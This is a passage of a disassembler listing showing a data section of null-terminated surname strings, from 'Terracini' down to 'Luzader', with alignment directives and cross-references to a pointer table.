aTerracini	db 'Terracini',0        ; DATA XREF: ___:00433F34o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:00433F30o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:00433F2Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:00433F28o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:00433F24o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:00433F20o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:00433F1Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:00433F18o
aTatar		db 'Tatar',0            ; DATA XREF: ___:00433F14o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:00433F10o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:00433F0Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:00433F08o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:00433F04o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:00433F00o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:00433EFCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:00433EF8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:00433EF4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:00433EF0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:00433EECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:00433EE8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:00433EE4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:00433EE0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:00433EDCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:00433ED8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:00433ED4o
aStrange_0	db 'Strange',0          ; DATA XREF: ___:00433ED0o
aStott		db 'Stott',0            ; DATA XREF: ___:00433ECCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:00433EC8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:00433EC4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:00433EC0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:00433EBCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:00433EB8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:00433EB4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:00433EB0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:00433EACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:00433EA8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:00433EA4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:00433EA0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:00433E9Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:00433E98o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:00433E94o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:00433E90o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:00433E8Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:00433E88o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:00433E84o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:00433E80o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:00433E7Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:00433E78o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:00433E74o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:00433E70o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:00433E6Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:00433E68o
aSpence		db 'Spence',0           ; DATA XREF: ___:00433E64o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:00433E60o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:00433E5Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:00433E58o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:00433E54o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:00433E50o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:00433E4Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:00433E48o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:00433E44o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:00433E40o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:00433E3Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:00433E38o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:00433E34o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:00433E30o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:00433E2Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:00433E28o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:00433E24o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:00433E20o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:00433E1Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:00433E18o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:00433E14o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:00433E10o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:00433E0Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:00433E08o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:00433E04o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:00433E00o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:00433DFCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:00433DF8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:00433DF4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:00433DF0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:00433DECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:00433DE8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:00433DE4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:00433DE0o
aShia		db 'Shia',0             ; DATA XREF: ___:00433DDCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:00433DD8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:00433DD4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:00433DD0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:00433DCCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:00433DC8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:00433DC4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:00433DC0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:00433DBCo
aShar		db 'Shar',0             ; DATA XREF: ___:00433DB8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:00433DB4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:00433DB0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:00433DACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:00433DA8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:00433DA4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:00433DA0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:00433D9Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:00433D98o
aSen		db 'Sen',0              ; DATA XREF: ___:00433D94o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:00433D90o
aSekler		db 'Sekler',0           ; DATA XREF: ___:00433D8Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:00433D88o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:00433D84o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:00433D80o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:00433D7Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:00433D78o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:00433D74o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:00433D70o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:00433D6Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:00433D68o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:00433D64o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:00433D60o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:00433D5Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:00433D58o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:00433D54o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:00433D50o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:00433D4Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:00433D48o
aScharf		db 'Scharf',0           ; DATA XREF: ___:00433D44o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:00433D40o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:00433D3Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:00433D38o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:00433D34o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:00433D30o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:00433D2Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:00433D28o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:00433D24o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:00433D20o
aSarin		db 'Sarin',0            ; DATA XREF: ___:00433D1Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:00433D18o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:00433D14o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:00433D10o
aSamson		db 'Samson',0           ; DATA XREF: ___:00433D0Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:00433D08o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:00433D04o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:00433D00o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:00433CFCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:00433CF8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:00433CF4o
aRush_0		db 'Rush',0             ; DATA XREF: ___:00433CF0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:00433CECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:00433CE8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:00433CE4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:00433CE0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:00433CDCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:00433CD8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:00433CD4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:00433CD0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:00433CCCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:00433CC8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:00433CC4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:00433CC0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:00433CBCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:00433CB8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:00433CB4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:00433CB0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:00433CACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:00433CA8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:00433CA4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:00433CA0o
aRenick		db 'Renick',0           ; DATA XREF: ___:00433C9Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:00433C98o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:00433C94o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:00433C90o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:00433C8Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:00433C88o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:00433C84o
aRapple		db 'Rapple',0           ; DATA XREF: ___:00433C80o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:00433C7Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:00433C78o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:00433C74o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:00433C70o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:00433C6Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:00433C68o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:00433C64o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:00433C60o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:00433C5Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:00433C58o
aPugh		db 'Pugh',0             ; DATA XREF: ___:00433C54o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:00433C50o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:00433C4Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:00433C48o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:00433C44o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:00433C40o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:00433C3Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:00433C38o
aPresper	db 'Presper',0          ; DATA XREF: ___:00433C34o
aPowers		db 'Powers',0           ; DATA XREF: ___:00433C30o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:00433C2Co
aPoma		db 'Poma',0             ; DATA XREF: ___:00433C28o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:00433C24o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:00433C20o
aPolak		db 'Polak',0            ; DATA XREF: ___:00433C1Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:00433C18o
aPointer	db 'Pointer',0          ; DATA XREF: ___:00433C14o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:00433C10o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:00433C0Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:00433C08o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:00433C04o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:00433C00o
aPlant		db 'Plant',0            ; DATA XREF: ___:00433BFCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:00433BF8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:00433BF4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:00433BF0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:00433BECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:00433BE8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:00433BE4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:00433BE0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:00433BDCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:00433BD8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:00433BD4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:00433BD0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:00433BCCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:00433BC8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:00433BC4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:00433BC0o
aPenny		db 'Penny',0            ; DATA XREF: ___:00433BBCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:00433BB8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:00433BB4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:00433BB0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:00433BACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:00433BA8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:00433BA4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:00433BA0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:00433B9Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:00433B98o
		align 4
aPatrick_0	db 'Patrick',0          ; DATA XREF: ___:00433B94o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:00433B90o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:00433B8Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:00433B88o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:00433B84o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:00433B80o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:00433B7Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:00433B78o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:00433B74o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:00433B70o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:00433B6Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:00433B68o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:00433B64o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:00433B60o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:00433B5Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:00433B58o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:00433B54o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:00433B50o
aOtten		db 'Otten',0            ; DATA XREF: ___:00433B4Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:00433B48o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:00433B44o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:00433B40o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:00433B3Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:00433B38o
aOray		db 'Oray',0             ; DATA XREF: ___:00433B34o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:00433B30o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:00433B2Co
aOman		db 'Oman',0             ; DATA XREF: ___:00433B28o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:00433B24o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:00433B20o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:00433B1Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:00433B18o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:00433B14o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:00433B10o
aOh		db 'Oh',0               ; DATA XREF: ___:00433B0Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:00433B08o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:00433B04o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:00433B00o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:00433AFCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:00433AF8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:00433AF4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:00433AF0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:00433AECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:00433AE8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:00433AE4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:00433AE0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:00433ADCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:00433AD8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:00433AD4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:00433AD0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:00433ACCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:00433AC8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:00433AC4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:00433AC0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:00433ABCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:00433AB8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:00433AB4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:00433AB0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:00433AACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:00433AA8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:00433AA4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:00433AA0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:00433A9Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:00433A98o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:00433A94o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:00433A90o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:00433A8Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:00433A88o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:00433A84o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:00433A80o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:00433A7Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:00433A78o
aMorani		db 'Morani',0           ; DATA XREF: ___:00433A74o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:00433A70o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:00433A6Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:00433A68o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:00433A64o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:00433A60o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:00433A5Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:00433A58o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:00433A54o
aMittal		db 'Mittal',0           ; DATA XREF: ___:00433A50o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:00433A4Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:00433A48o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:00433A44o
aMini		db 'Mini',0             ; DATA XREF: ___:00433A40o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:00433A3Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:00433A38o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:00433A34o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:00433A30o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:00433A2Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:00433A28o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:00433A24o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:00433A20o
aMerz		db 'Merz',0             ; DATA XREF: ___:00433A1Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:00433A18o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:00433A14o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:00433A10o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:00433A0Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:00433A08o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:00433A04o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:00433A00o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:004339FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:004339F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:004339F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:004339F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:004339ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:004339E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:004339E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:004339E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:004339DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:004339D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:004339D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:004339D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:004339CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:004339C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:004339C4o
					; ___:off_43B004o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:004339C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:004339BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:004339B8o
aMay		db 'May',0              ; DATA XREF: ___:004339B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:004339B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:004339ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:004339A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:004339A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:004339A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0043399Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:00433998o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:00433994o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:00433990o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0043398Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:00433988o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:00433984o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:00433980o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0043397Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:00433978o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:00433974o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:00433970o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0043396Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:00433968o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:00433964o
aMalova		db 'Malova',0           ; DATA XREF: ___:00433960o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0043395Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:00433958o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:00433954o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:00433950o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0043394Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:00433948o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:00433944o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:00433940o
aMacy		db 'Macy',0             ; DATA XREF: ___:0043393Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:00433938o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:00433934o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:00433930o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0043392Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:00433928o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:00433924o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:00433920o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0043391Co
